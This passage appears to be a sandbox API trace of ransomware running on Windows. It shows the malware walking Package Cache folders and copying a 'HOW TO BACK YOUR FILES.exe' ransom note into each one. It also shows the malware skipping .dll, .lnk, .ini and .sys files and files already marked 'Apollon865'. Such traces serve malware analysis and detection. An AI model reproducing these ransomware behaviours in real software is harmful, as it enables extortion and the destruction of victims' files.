	[0050.609] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.609] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.609] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0050.609] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0050.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0050.609] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0050.609] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned 88
	[0050.609] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages"
	[0050.609] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.609] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.610] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.610] GetLastError () returned 0x0
	[0050.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.610] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.610] CloseHandle (hObject=0x15c) returned 1
	[0050.610] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.610] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.610] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f57a430, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f57a430, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.610] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.610] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.610] lstrcpyW (in: lpString1=0x2d3e602, lpString2="vcRuntimeAdditional_x86" | out: lpString1="vcRuntimeAdditional_x86") returned="vcRuntimeAdditional_x86"
	[0050.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b08
	[0050.610] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xe2) returned 0x5afb08
	[0050.611] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b10 | out: ListHead=0x5b76b0, ListEntry=0x5b7b10) returned 0x5b7c90
	[0050.611] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.611] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.611] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0050.611] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0050.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afb08 | out: hHeap=0x580000) returned 1
	[0050.611] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0050.611] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned 112
	[0050.611] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86" | out: lpString1="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86") returned="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86"
	[0050.611] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.611] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{68306422-7c57-373f-8860-d26ce4ba2a15}v14.10.25017\\packages\\vcruntimeadditional_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.611] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.611] GetLastError () returned 0x0
	[0050.611] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.611] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.612] CloseHandle (hObject=0x15c) returned 1
	[0050.612] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.612] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.612] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{68306422-7C57-373F-8860-D26CE4BA2A15}v14.10.25017\\packages\\vcRuntimeAdditional_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.612] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.612] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.612] lstrcpyW (in: lpString1=0x2d3e632, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.612] lstrlenW (lpString="cab1.cab") returned 8
	[0050.613] lstrlenW (lpString="Apollon865") returned 10
	[0050.613] lstrlenW (lpString=".dll") returned 4
	[0050.613] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.613] lstrlenW (lpString=".lnk") returned 4
	[0050.613] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.613] lstrlenW (lpString=".ini") returned 4
	[0050.613] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.613] lstrlenW (lpString=".sys") returned 4
	[0050.613] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.613] lstrlenW (lpString="cab1.cab") returned 8
	[0050.613] lstrcpyW (in: lpString1=0x2d3e632, lpString2="vc_runtimeAdditional_x86.msi" | out: lpString1="vc_runtimeAdditional_x86.msi") returned="vc_runtimeAdditional_x86.msi"
	[0050.613] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0050.613] lstrlenW (lpString="Apollon865") returned 10
	[0050.613] lstrcmpiW (lpString1="al_x86.msi", lpString2="Apollon865") returned -1
	[0050.613] lstrlenW (lpString=".dll") returned 4
	[0050.614] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".dll") returned 1
	[0050.614] lstrlenW (lpString=".lnk") returned 4
	[0050.614] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".lnk") returned 1
	[0050.614] lstrlenW (lpString=".ini") returned 4
	[0050.614] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".ini") returned 1
	[0050.614] lstrlenW (lpString=".sys") returned 4
	[0050.614] lstrcmpiW (lpString1="vc_runtimeAdditional_x86.msi", lpString2=".sys") returned 1
	[0050.614] lstrlenW (lpString="vc_runtimeAdditional_x86.msi") returned 28
	[0050.614] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0050.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0050.614] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0050.614] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned 79
	[0050.614] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017"
	[0050.614] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.614] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.614] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.615] GetLastError () returned 0x0
	[0050.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.615] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.615] CloseHandle (hObject=0x15c) returned 1
	[0050.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.615] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.615] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.615] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.615] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.615] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="packages" | out: lpString1="packages") returned="packages"
	[0050.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0050.615] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb2) returned 0x5c1458
	[0050.615] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0050.615] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0
	[0050.615] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.615] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0050.615] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0050.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0050.615] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0050.615] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned 88
	[0050.615] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages"
	[0050.615] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.616] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.616] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.616] GetLastError () returned 0x0
	[0050.616] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.616] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.616] CloseHandle (hObject=0x15c) returned 1
	[0050.616] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.616] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.616] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5a0590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5a0590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.616] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.616] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.617] lstrcpyW (in: lpString1=0x2d3e602, lpString2="vcRuntimeMinimum_x86" | out: lpString1="vcRuntimeMinimum_x86") returned="vcRuntimeMinimum_x86"
	[0050.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0050.617] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xdc) returned 0x5afa60
	[0050.617] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0050.617] FindNextFileW (in: hFindFile=0x5ca510, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0
	[0050.617] FindClose (in: hFindFile=0x5ca510 | out: hFindFile=0x5ca510) returned 1
	[0050.617] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7c90
	[0050.617] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86", iMaxLength=260 | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0050.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5afa60 | out: hHeap=0x580000) returned 1
	[0050.617] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0050.617] lstrlenW (lpString="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned 109
	[0050.617] lstrcatW (in: lpString1="", lpString2="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86" | out: lpString1="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86") returned="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86"
	[0050.617] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0050.617] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\package cache\\{582ea838-9199-3518-a05c-db09462f68ec}v14.10.25017\\packages\\vcruntimeminimum_x86\\how to back your files.exe"), bFailIfExists=1) returned 0
	[0050.617] CreateFileW (lpFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c
	[0050.618] GetLastError () returned 0x0
	[0050.618] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ccfb8
	[0050.618] ReadFile (in: hFile=0x15c, lpBuffer=0x5ccfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x2d3e22c, lpOverlapped=0x0 | out: lpBuffer=0x5ccfb8*, lpNumberOfBytesRead=0x2d3e22c*=0x1dc00, lpOverlapped=0x0) returned 1
	[0050.618] CloseHandle (hObject=0x15c) returned 1
	[0050.618] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ccfb8 | out: hHeap=0x580000) returned 1
	[0050.618] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0050.618] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\{582EA838-9199-3518-A05C-DB09462F68EC}v14.10.25017\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf94d4300, ftCreationTime.dwHighDateTime=0x1d2fc27, ftLastAccessTime.dwLowDateTime=0x2f5c66f0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f5c66f0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca510
	[0050.618] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0050.618] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0050.618] lstrcpyW (in: lpString1=0x2d3e62c, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0050.618] lstrlenW (lpString="cab1.cab") returned 8
	[0050.618] lstrlenW (lpString="Apollon865") returned 10
	[0050.618] lstrlenW (lpString=".dll") returned 4
	[0050.618] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0050.618] lstrlenW (lpString=".lnk") returned 4
	[0050.618] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0050.618] lstrlenW (lpString=".ini") returned 4
	[0050.618] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0050.619] lstrlenW (lpString=".sys") returned 4
	[0050.619] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0050.619] lstrlenW (lpString="cab1.cab") returned 8
	[0050.619] lstrcpyW (in: lpString1=0x2d3e62c, lpString2="vc_runtimeMinimum_x86.msi" | out: lpString1="vc_runtimeMinimum_x86.msi") returned="vc_runtimeMinimum_x86.msi"
	[0050.619] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
	[0050.619] lstrlenW (lpString="Apollon865") returned 10
	[0050.619] lstrcmpiW (lpString1="um_x86.msi", lpString2="Apollon865") returned 1
	[0050.619] lstrlenW (lpString=".dll") returned 4
	[0050.619] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".dll") returned 1
	[0050.619] lstrlenW (lpString=".lnk") returned 4
	[0050.619] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".lnk") returned 1
	[0050.619] lstrlenW (lpString=".ini") returned 4
	[0050.619] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".ini") returned 1
	[0050.619] lstrlenW (lpString=".sys") returned 4
	[0050.619] lstrcmpiW (lpString1="vc_runtimeMinimum_x86.msi", lpString2=".sys") returned 1
	[0050.619] lstrlenW (lpString="vc_runtimeMinimum_x86.msi") returned 25
